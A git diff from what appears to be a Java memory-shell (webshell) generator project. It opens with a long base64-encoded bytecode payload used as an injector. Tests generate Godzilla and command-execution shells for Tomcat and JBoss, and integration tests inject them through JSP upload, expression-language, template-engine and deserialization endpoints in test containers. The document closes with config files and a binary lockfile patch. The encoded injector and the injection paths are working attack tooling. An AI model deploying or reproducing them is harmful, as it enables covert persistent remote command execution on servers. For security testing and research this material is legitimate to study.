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"); + GenerateResult generateResult = GenerateResult.builder() + .injectorBytes(bytes1).build(); + String pack = packer.pack(generateResult); + System.out.println(pack); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java index 4fdc5927..29af1203 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java @@ -33,13 +33,13 @@ class CommandFilterTest { void generate(Class clazz, String className) { ShellConfig generateConfig = new ShellConfig(); CommandConfig shellConfig = CommandConfig.builder() - .clazz(clazz) - .className(className) + .shellClass(clazz) + .shellClassName(className) .paramName("cmd") .build(); byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig); Object obj = ClassUtils.newInstance(bytes); - assertEquals(shellConfig.getClassName(), obj.getClass().getName()); + assertEquals(shellConfig.getShellClassName(), obj.getClass().getName()); assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java index 4a320cdf..bc3048a1 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaTest.java @@ -40,12 +40,12 @@ class GodzillaTest { @MethodSource("casesProvider") void generate(Class clazz, String className) { GodzillaConfig shellConfig = shellConfigBuilder - .className(className) - .clazz(clazz) + .shellClassName(className) + .shellClass(clazz) .build(); byte[] bytes = new GodzillaGenerator(config, shellConfig).getBytes(); Object obj = ClassUtils.newInstance(bytes); - assertEquals(shellConfig.getClassName(), obj.getClass().getName()); + assertEquals(shellConfig.getShellClassName(), obj.getClass().getName()); assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass")); assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName")); assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue")); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index b8756b70..7b93ef5e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -42,37 +42,38 @@ public class ShellAssertionTool { .headerName("User-Agent").headerValue(headerValue) .build(); log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); - byte[] content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer); + String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer); assertInjectIsOk(url, shellType, shellTool, content, packer); GodzillaShellTool.testIsOk(shellUrl, godzillaConfig); break; case Command: String paramName = "Command" + shellType + packer.name(); CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build(); - byte[] commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer); + String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer); log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName()); assertInjectIsOk(url, shellType, shellTool, commandContent, packer); CommandShellTool.testIsOk(shellUrl, commandConfig); } } - public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) { + public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { + log.info(content); switch (packer) { case JSP -> { String uploadEntry = url + "/upload"; String filename = shellType + shellTool + ".jsp"; String shellUrl = url + "/" + filename; - VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content)); + VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); } - case ScriptEngine -> VulTool.postData(url + "/js", new String(content)); - case EL -> VulTool.postData(url + "/el", new String(content)); - case SpEL -> VulTool.postData(url + "/spel", new String(content)); - case Ognl -> VulTool.postData(url + "/ognl", new String(content)); - case Freemarker -> VulTool.postData(url + "/freemarker", new String(content)); - case Velocity -> VulTool.postData(url + "/velocity", new String(content)); + case ScriptEngine -> VulTool.postData(url + "/js", content); + case EL -> VulTool.postData(url + "/el", content); + case SpEL -> VulTool.postData(url + "/spel", content); + case OGNL -> VulTool.postData(url + "/ognl", content); + case Freemarker -> VulTool.postData(url + "/freemarker", content); + case Velocity -> VulTool.postData(url + "/velocity", content); case Deserialize -> - VulTool.postData(url + "/java_deserialize", Base64.getEncoder().encodeToString(content)); + VulTool.postData(url + "/java_deserialize", content); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java index aa34187b..600040c6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java @@ -60,6 +60,6 @@ public class Jboss423ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java index 4e32bbdf..5c74d43e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java @@ -60,6 +60,6 @@ public class Jboss510ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index 95d2be07..e76b8893 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -61,6 +61,6 @@ public class Jboss610ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 5a5e4ee6..a6c65b51 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -60,6 +60,6 @@ public class Jboss711ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index b1850a4f..2151e15d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -57,6 +57,6 @@ public class JbossEap6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index 07342c14..26886913 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -42,9 +42,13 @@ public class JbossEap7ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) ); } @@ -57,6 +61,6 @@ public class JbossEap7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index ed499103..7e8440e2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -66,7 +66,7 @@ public class Tomcat8ContainerTest { arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Ognl), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity) diff --git a/web/.env b/web/.env new file mode 100644 index 00000000..292fa09d --- /dev/null +++ b/web/.env @@ -0,0 +1 @@ +VITE_APP_API_URL=http://127.0.0.1:8080 \ No newline at end of file diff --git a/web/.env.production b/web/.env.production new file mode 100644 index 00000000..7decfda6 --- /dev/null +++ b/web/.env.production @@ -0,0 +1 @@ +VITE_APP_API_URL= \ No newline at end of file diff --git a/web/biome.json b/web/biome.json index b4d33365..cbff8337 100644 --- a/web/biome.json +++ b/web/biome.json @@ -1,5 +1,5 @@ { - "$schema": "https://biomejs.dev/schemas/1.9.3/schema.json", + "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json", "vcs": { "enabled": true, "clientKind": "git", @@ -30,7 +30,7 @@ "indentStyle": "space", "indentWidth": 2, "enabled": true, - "lineWidth": 100, + "lineWidth": 120, "ignore": ["node_modules", "tsconfig*", "dist"] }, "organizeImports": { diff --git a/web/bun.lockb b/web/bun.lockb index fc542c72e3c51942b1e701c7a8a9f74b15c61515..4bc522e98a8db5a2613b82b1f5d44dae5a981a34 100755 GIT binary patch delta 34486 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 